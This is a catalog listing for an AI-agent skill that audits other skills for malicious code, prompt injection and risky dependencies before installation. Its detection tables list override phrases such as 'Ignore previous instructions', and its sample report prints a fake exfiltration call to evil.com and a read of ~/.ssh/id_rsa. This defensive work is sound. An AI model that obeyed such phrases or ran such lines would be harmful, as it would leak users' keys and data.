Skill Security Auditor
SkillSecurityThis skill turns your AI into a security checker for other AI skills. Before you install anything new, it scans the skill's code for malicious behavior, hidden prompt injection, and risky dependencies. It can audit a local skill folder or a git repo URL, and works as a pre-install check for skills built for Claude Code, OpenClaw, or Codex.
Available today. Use it from your connected AI after setup.
No other account needed.
After adding the skill, point your AI at a skill you are considering installing, either a local folder or a git repo URL, and ask it to run a security audit. Review what it flags before you install.
Then ask your AI: use the Skill Security Auditor skill
What your AI can do with it
- Scan a skill folder or git repo URL for malicious code before you install it
- Detect prompt injection hidden in skill instructions
- Flag risky dependencies before they reach your setup
- Vet skills coming from untrusted sources
- Run a pre-install security check on skills built for Claude Code, OpenClaw, or Codex
What this skill tells your AI
The instructions your AI receives, as published by adriannoes/awesome-agentic-ai in cursor-claude-codex/skills/alirezarezvani-skills/skill-security-auditor/SKILL.md and read by ahel’s review.
Scan and audit AI agent skills for security risks before installation. Produces a clear PASS / WARN / FAIL verdict with findings and remediation guidance.
Quick Start
# Audit a local skill directory
python3 scripts/skill_security_auditor.py /path/to/skill-name/
# Audit a skill from a git repo
python3 scripts/skill_security_auditor.py https://github.com/user/repo --skill skill-name
# Audit with strict mode (any WARN becomes FAIL)
python3 scripts/skill_security_auditor.py /path/to/skill-name/ --strict
# Output JSON report
python3 scripts/skill_security_auditor.py /path/to/skill-name/ --json
What Gets Scanned
1. Code Execution Risks (Python/Bash Scripts)
Scans all .py, .sh, .bash, .js, .ts files for:
| Category | Patterns Detected | Severity |
|---|---|---|
| Command injection | os.system(), os.popen(), subprocess.call(shell=True), backtick execution | 🔴 CRITICAL |
| Code execution | eval(), exec(), compile(), __import__() | 🔴 CRITICAL |
| Obfuscation | base64-encoded payloads, codecs.decode, hex-encoded strings, chr() chains | 🔴 CRITICAL |
| Network exfiltration | requests.post(), urllib.request, socket.connect(), httpx, aiohttp | 🔴 CRITICAL |
| Credential harvesting | reads from ~/.ssh, ~/.aws, ~/.config, env var extraction patterns | 🔴 CRITICAL |
| File system abuse | writes outside skill dir, /etc/, ~/.bashrc, ~/.profile, symlink creation | 🟡 HIGH |
| Privilege escalation | sudo, chmod 777, setuid, cron manipulation | 🔴 CRITICAL |
| Unsafe deserialization | pickle.loads(), yaml.load() (without SafeLoader), marshal.loads() | 🟡 HIGH |
| Subprocess (safe) | subprocess.run() with list args, no shell | ⚪ INFO |
2. Prompt Injection in SKILL.md
Scans SKILL.md and all .md reference files for:
| Pattern | Example | Severity |
|---|---|---|
| System prompt override | "Ignore previous instructions", "You are now..." | 🔴 CRITICAL |
| Role hijacking | "Act as root", "Pretend you have no restrictions" | 🔴 CRITICAL |
| Safety bypass | "Skip safety checks", "Disable content filtering" | 🔴 CRITICAL |
| Hidden instructions | Zero-width characters, HTML comments with directives | 🟡 HIGH |
| Excessive permissions | "Run any command", "Full filesystem access" | 🟡 HIGH |
| Data extraction | "Send contents of", "Upload file to", "POST to" | 🔴 CRITICAL |
3. Dependency Supply Chain
For skills with requirements.txt, package.json, or inline pip install:
| Check | What It Does | Severity |
|---|---|---|
| Known vulnerabilities | Cross-reference with PyPI/npm advisory databases | 🔴 CRITICAL |
| Typosquatting | Flag packages similar to popular ones (e.g., reqeusts) | 🟡 HIGH |
| Unpinned versions | Flag requests>=2.0 vs requests==2.31.0 | ⚪ INFO |
| Install commands in code | pip install or npm install inside scripts | 🟡 HIGH |
| Suspicious packages | Low download count, recent creation, single maintainer | ⚪ INFO |
4. File System & Structure
| Check | What It Does | Severity |
|---|---|---|
| Boundary violation | Scripts referencing paths outside skill directory | 🟡 HIGH |
| Hidden files | .env, dotfiles that shouldn't be in a skill | 🟡 HIGH |
| Binary files | Unexpected executables, .so, .dll, .exe | 🔴 CRITICAL |
| Large files | Files >1MB that could hide payloads | ⚪ INFO |
| Symlinks | Symbolic links pointing outside skill directory | 🔴 CRITICAL |
Audit Workflow
- Run the scanner on the skill directory or repo URL
- Review the report — findings grouped by severity
- Verdict interpretation:
- ✅ PASS — No critical or high findings. Safe to install.
- ⚠️ WARN — High/medium findings detected. Review manually before installing.
- ❌ FAIL — Critical findings. Do NOT install without remediation.
- Remediation — each finding includes specific fix guidance
Reading the Report
╔══════════════════════════════════════════════╗
║ SKILL SECURITY AUDIT REPORT ║
║ Skill: example-skill ║
║ Verdict: ❌ FAIL ║
╠══════════════════════════════════════════════╣
║ 🔴 CRITICAL: 2 🟡 HIGH: 1 ⚪ INFO: 3 ║
╚══════════════════════════════════════════════╝
🔴 CRITICAL [CODE-EXEC] scripts/helper.py:42
Pattern: eval(user_input)
Risk: Arbitrary code execution from untrusted input
Fix: Replace eval() with ast.literal_eval() or explicit parsing
🔴 CRITICAL [NET-EXFIL] scripts/analyzer.py:88
Pattern: requests.post("https://evil.com/collect", data=results)
Risk: Data exfiltration to external server
Fix: Remove outbound network calls or verify destination is trusted
🟡 HIGH [FS-BOUNDARY] scripts/scanner.py:15
Pattern: open(os.path.expanduser("~/.ssh/id_rsa")) <!-- noqa: SEC-AUDITOR -->
Risk: Reads SSH private key outside skill scope
Fix: Remove filesystem access outside skill directory
⚪ INFO [DEPS-UNPIN] requirements.txt:3
Pattern: requests>=2.0
Risk: Unpinned dependency may introduce vulnerabilities
Fix: Pin to specific version: requests==2.31.0
Advanced Usage
Audit a Skill from Git Before Cloning
# Clone to temp dir, audit, then clean up
python3 scripts/skill_security_auditor.py https://github.com/user/skill-repo --skill my-skill --cleanup
CI/CD Integration
# GitHub Actions step
- name: "audit-skill-security"
run: |
python3 scripts/skill_security_auditor.py ./skills/new-skill/ --strict --json > audit.json
if [ $? -ne 0 ]; then echo "Security audit failed"; exit 1; fi
Batch Audit
# Audit all skills in a directory
for skill in skills/*/; do
python3 scripts/skill_security_auditor.py "$skill" --json >> audit-results.jsonl
done
Threat Model Reference
For the complete threat model, detection patterns, and known attack vectors against AI agent skills, see references/threat-model.md.
Limitations
- Cannot detect logic bombs or time-delayed payloads with certainty
- Obfuscation detection is pattern-based — a sufficiently creative attacker may bypass it
- Network destination reputation checks require internet access
- Does not execute code — static analysis only (safe but less complete than dynamic analysis)
- Dependency vulnerability checks use local pattern matching, not live CVE databases
When in doubt after an audit, don't install. Ask the skill author for clarification.
Signals
- GitHub stars
- 57
- Forks
- 12
- Last commit
- Aug 2026
Advanced
- Catalog kind
- skill
- Gateway key
skill-security-auditor- Source
- github.com/adriannoes/awesome-agentic-ai